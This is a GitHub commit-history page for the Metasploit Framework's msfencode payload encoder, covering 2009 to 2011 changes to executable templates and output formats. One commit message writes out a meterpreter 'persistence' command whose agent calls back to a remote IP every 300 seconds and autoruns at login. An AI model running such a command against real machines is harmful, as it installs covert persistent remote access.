Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP
Commits on Nov 24, 2011
  1. HD Moore

    Fix up bad line removals

    hmoore-r7 authored
  2. HD Moore
Commits on Nov 21, 2011
Commits on Feb 15, 2011
  1. Joshua J. Drake

    Fixes #3712, Do not keep looping on ENOENT or EINVAL

    jduck authored
    git-svn-id: file:///home/svn/framework3/trunk@11752 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Dec 14, 2010
  1. Joshua J. Drake

    fix some silly input/output translation bugs with msfencode

    jduck authored
    git-svn-id: file:///home/svn/framework3/trunk@11326 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Sep 21, 2010
  1. Joshua J. Drake

    add verbosity flag, disable stack traces w/o it

    jduck authored
    git-svn-id: file:///home/svn/framework3/trunk@10409 4d416f70-5f16-0410-b530-b9f4589650da
  2. Joshua J. Drake

    big exe/dll update, see #2017

    jduck authored
    NOTE: These changes specifically affect payload encoding via RPC, "use
    payload", and msfencode
    
    1. consolidate user-specified exe generation routine (now
    Msf::Util::EXE.to_executable_fmt)
    2. supported format types are now queried/checked using arrays
    3. cleaned up and standardized exe option passing
    4. rename data store options for EXE mixin
    5. add generate_payload_exe_service for psexec/smb_relay
    6. reworked default template handling in Msf::Util::EXE
      a. added template search path option (not used if template includes
    a path separator)
      b. "fallback" flag to enable using default if specified file doesn't
    exist
    7. added Msf::Util::EXE.to_win64pe_dll
    8. improved error messages from exe generation
    
    
    
    git-svn-id: file:///home/svn/framework3/trunk@10404 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Sep 20, 2010
  1. Joshua J. Drake

    rework to_jsp_war a bit, fix uses, default msfencode -t war to x86/win32

    jduck authored
    git-svn-id: file:///home/svn/framework3/trunk@10397 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Sep 18, 2010
  1. Joshua J. Drake

    prevent loading activerecord for msf{payload,encode}

    jduck authored
    git-svn-id: file:///home/svn/framework3/trunk@10368 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Aug 19, 2010
  1. James Lee

    add dll output to msfencode, refactor some junk

    jlee-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@10061 4d416f70-5f16-0410-b530-b9f4589650da
Commits on May 3, 2010
  1. Joshua J. Drake

    more cleanups

    jduck authored
    git-svn-id: file:///home/svn/framework3/trunk@9212 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Apr 14, 2010
  1. HD Moore

    Macho support for msfencode

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@9071 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Mar 24, 2010
  1. HD Moore

    Closes #1244 with a caveat. If the template injected calls ExitProces…

    hmoore-r7 authored
    …s(), the payload will be killed. This means that -k is not compatible with our default executable
    
    git-svn-id: file:///home/svn/framework3/trunk@8896 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Mar 18, 2010
  1. HD Moore

    Indicate the method for using javascript (js_le, js_be) in the help o…

    hmoore-r7 authored
    …utput
    
    git-svn-id: file:///home/svn/framework3/trunk@8846 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Feb 18, 2010
  1. Joshua J. Drake

    add support for WAR archives to msfencode, closes #774

    jduck authored
    git-svn-id: file:///home/svn/framework3/trunk@8545 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Dec 28, 2009
  1. HD Moore

    Add -t asp to msfencode :)

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@8013 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Dec 13, 2009
  1. HD Moore

    This adds support for the old exe format to msfencode using -t exe-sm…

    hmoore-r7 authored
    …all and allows encoder modules to change preferences based on the platform, which fully solves #430.
    
    git-svn-id: file:///home/svn/framework3/trunk@7840 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Nov 4, 2009
  1. HD Moore

    Fixes #463. Missing a return value in exe.rb and missing a default fo…

    hmoore-r7 authored
    …rmat in msfencode
    
    git-svn-id: file:///home/svn/framework3/trunk@7357 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Nov 1, 2009
  1. HD Moore

    This patch implements a much more flexible executable creation scheme…

    hmoore-r7 authored
    … at the cost of exe size. This also adds the "-x" option to msfencode, allowing the user to specify their own executable template for generation.
    
    git-svn-id: file:///home/svn/framework3/trunk@7315 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Oct 20, 2009
  1. HD Moore

    Fix msfencode -l, thanks _sinn3r

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@7218 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Oct 19, 2009
  1. HD Moore

    Fixes #386. Adds a persistent VBS payload option (keep running the pa…

    hmoore-r7 authored
    …yload in a loop) via the loop-vbs type in msfencode. Adds a 'persistence' script to allow easy persistent meterpeter agent deployment. "run persistence -h" for help. Sample command line:
    
    meterpreter> run persistence -r 1.2.3.4 -p 443 -A -X -i 300
    
    This would install a meterpreter agent that would try to connect to 1.2.3.4:443 once every 300 seconds. This would also start a multi/handler in the background (-A) and make this autorun when any user logs in (-X). In most scenarios, this works just fine:
    
    meterpreter> run persistence -A
    
    This uses your default IP and the default port and immediates handles the next connection, but doesnt install via the registry.
    
    
    
    git-svn-id: file:///home/svn/framework3/trunk@7204 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Aug 25, 2009
  1. HD Moore

    Remove extraneous check

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@6977 4d416f70-5f16-0410-b530-b9f4589650da
  2. HD Moore

    Fix a bug generating executables when no arch was defined

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@6976 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Aug 23, 2009
  1. HD Moore

    Merge in the beginnings of x64 support from Stephen Fewer

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@6972 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Jun 24, 2009
  1. HD Moore

    Fix up EXE to VBA handling

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@6708 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Jun 21, 2009
  1. HD Moore

    Load the encoders/nops modules in msfpayload for encoding, load nops …

    hmoore-r7 authored
    …in msfencode
    
    git-svn-id: file:///home/svn/framework3/trunk@6694 4d416f70-5f16-0410-b530-b9f4589650da
  2. HD Moore

    Sync up the API calls for msfpayload/msfencode, thanks Carlos

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@6693 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Jun 20, 2009
  1. HD Moore

    Update executable template and API

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@6682 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Jun 14, 2009
  1. HD Moore

    Indicate lack of support for ruby 1.9.0, indicate experimental suppor…

    hmoore-r7 authored
    …t for ruby 1.9.1
    
    git-svn-id: file:///home/svn/framework3/trunk@6661 4d416f70-5f16-0410-b530-b9f4589650da
Commits on May 11, 2009
  1. HD Moore

    patch to msfencode to support elf format output from Bernardo Damele …

    hmoore-r7 authored
    …A. G.
    
    git-svn-id: file:///home/svn/framework3/trunk@6543 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Mar 11, 2009
  1. HD Moore

    Allow -c option to msfencode to specify encode count

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@6333 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Jan 30, 2009
  1. HD Moore

    Patch from Jonathan Steel to fix double-symlinks

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@6203 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Jan 9, 2009
  1. enable javascript and java encoding

    kris authored
    git-svn-id: file:///home/svn/framework3/trunk@6105 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Jan 2, 2009
  1. James Lee

    parse options before creating so -h is faster

    jlee-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@6060 4d416f70-5f16-0410-b530-b9f4589650da
  2. HD Moore

    This patch allows the framework to be created with only specific modu…

    hmoore-r7 authored
    …le types enabled, speeding up msfpayload and msfencode.
    
    git-svn-id: file:///home/svn/framework3/trunk@6055 4d416f70-5f16-0410-b530-b9f4589650da
Something went wrong with that request. Please try again.